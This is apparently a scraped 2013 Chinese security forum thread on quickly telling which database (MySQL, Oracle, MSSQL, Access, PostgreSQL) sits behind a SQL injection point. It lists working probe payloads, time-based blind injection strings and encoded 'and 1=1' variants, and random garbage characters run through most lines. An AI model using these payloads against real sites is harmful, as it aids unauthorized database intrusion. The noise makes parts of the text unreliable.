一个注射点如何最快速确认是什么类型数据库$ n* v( V! v7 ^3 k
xsser (十根阳具有长短!!) | 2013-02-05 12:364 ?& m' t" c: G1 ]/ Q
假设这么一个注射点:
v" H5 i7 j, B4 E- O2 Bshow.html?id=2; F. F: `/ X" {% G
mysql:id=2 and version()>0
$ }& {! Q0 d* b0 coracle:id=2 and '1'||'1'='11. L$ I3 g3 F) B6 p9 u* D8 t6 S
其他的欢迎补充) A/ @" H f5 ?" D- u7 X# n, O
1#+ F( n, n7 ]: k9 F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
e* A" `: B+ |- r1 ^6 ]! JAccess:$ I; @; d) v. q/ R( N6 B6 |
aNd aSc(cHr(97))=97
, v+ J( g4 V/ |3 N) Jand exists(select id from MSysAccessObjects)
# Q) S5 |4 U ^6 x* TSQL Server:8 p( L' k% H# p4 X& Q& x3 ?
and exists(select id from sysobjects)
# z$ @+ x) f" j$ k* D* X* r$ pand length(user)>07 l* i, t/ ~7 v" C1 O- t
MySQL:5 E; J! e" S' n o6 }8 ?
and length(user())>0
. N# u/ j/ t( W2 d# ?2#
# o5 s% m: s1 F+ h; t4 xxsser (十根阳具有长短!!) | 2013-02-05 12:48
+ }# Y: C9 U- p9 ?- ^7 s" H3 W2 i@upload 如果这些都不是呢… r# R, }" h2 i2 x3 \- n. n
3#0 D, v7 n' \$ l8 t
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
0 {0 z3 i4 E# [; }! R8 }$ t" N4 s+ Q. x4 O@xsser 不快速的,延时注入# V8 W, G3 J, p# o
不知道这样写对不对
, A; D4 `# B9 ~9 _! l1 e5 Bmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'# i" p' E9 b! U) ]# Z& L
mysql:id=2 and select benchmark(1e8,current_date());9 n. c( K* z. a# P7 ], M7 L$ X
4#' a$ ?, g$ d% G
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:109 {- Y2 X1 F8 H
最快的貌似是看报错信息* k; f; o& [3 {: [/ ]: I% X" _0 Y
oracle error
1 t$ R4 P; H* E$ ?' X! w2 F- Lmssql error
. y( r+ v+ w+ ~" l; cmysql error
3 e+ w) E+ P. n0 R5#
- }9 C Y1 J% r' J2 v2 _* q) `Nimda (你们都是坏银~) | 2013-02-05 13:14
, x9 K$ s# V* ~& q( h* W1 U小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)6 E Y$ W8 r/ @8 L ]7 c9 M
6#
& m- c* a. u e8 L L& t) Qupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21$ m" f6 O0 L7 x, c+ f( K( n0 M
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:; E, q. g3 \7 P$ q" {" j X
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:* e6 K, h2 A- Y0 c! E
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
3 o7 c) w+ M6 u0 g! E7#! R% Z4 F! m0 i* F: k( R
_Evil (HackEnd) | 2013-02-05 13:33
3 v* t1 ^5 x7 j4 z# ^3 }) ?4 p8 APostgreSQL
5 w; |+ R, T; W8#2 e6 n1 n! G4 @$ C
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42: E( A# T$ t h
切换编码 and 1=1
3 N$ c3 S1 U9 ]' Koracle:& z3 T( {9 [& ~7 P% C0 ]. F
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
. I8 ` @9 ]" o( \+ G. K, f& n5 Bmssql:
O, A+ b8 S0 j zCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
3 S& r8 K1 R/ a4 [. ]9 t/ @4 mmysql:
5 {4 N$ Q! |: [. |6 u/ A3 `CHAR(97, 110, 100, 32, 49, 61, 49)
: E! D6 {! s7 U9#0 h6 i% l1 o- x% t9 Z
xsser (十根阳具有长短!!) | 2013-02-05 14:31( F/ G% y* B) ^& R
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
9 W' N, X) `5 A- V: h" E9 U10#0 @$ |0 `" ? u$ A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46* f1 D" r. l. ^- r# D: s8 w
@xsser 是奇葩数据库类型的么?
b" d- x+ R8 u' E+ U& @根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
. ?1 @& R/ a- o: k U1.是否可以使用特定的函数来判断,该数据库特有的
+ _& L0 q3 i1 {" J: l. `2 |, G2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等$ W- t8 [8 X9 }6 J. E" |
3.是否可以编码查询
5 z* n, M# s. e4.是否显可以利用错信息 p' q7 u; W( h6 `; J
5.是否存在数据库某些特性辅助判断
! X3 u& j, z: X4 T6 n* Q个人见解, m8 W- s5 ?( Y* p# o3 E
11#" E5 \9 v/ Q) g" V, \
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
7 ?. Y9 T8 Q4 l3 i+ x1 \' _已收藏,mssql可以直接看到错误提示的吧~ k: S" i; g' D
12#* h3 w& u& g" s/ F; Q
Passer_by | 2013-02-05 15:09
9 P7 t' Q/ s8 E% `2 d曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
9 ?/ _9 Y% W; M- a. R0 o1 mfrom:http://zone.wooyun.org/content/260 |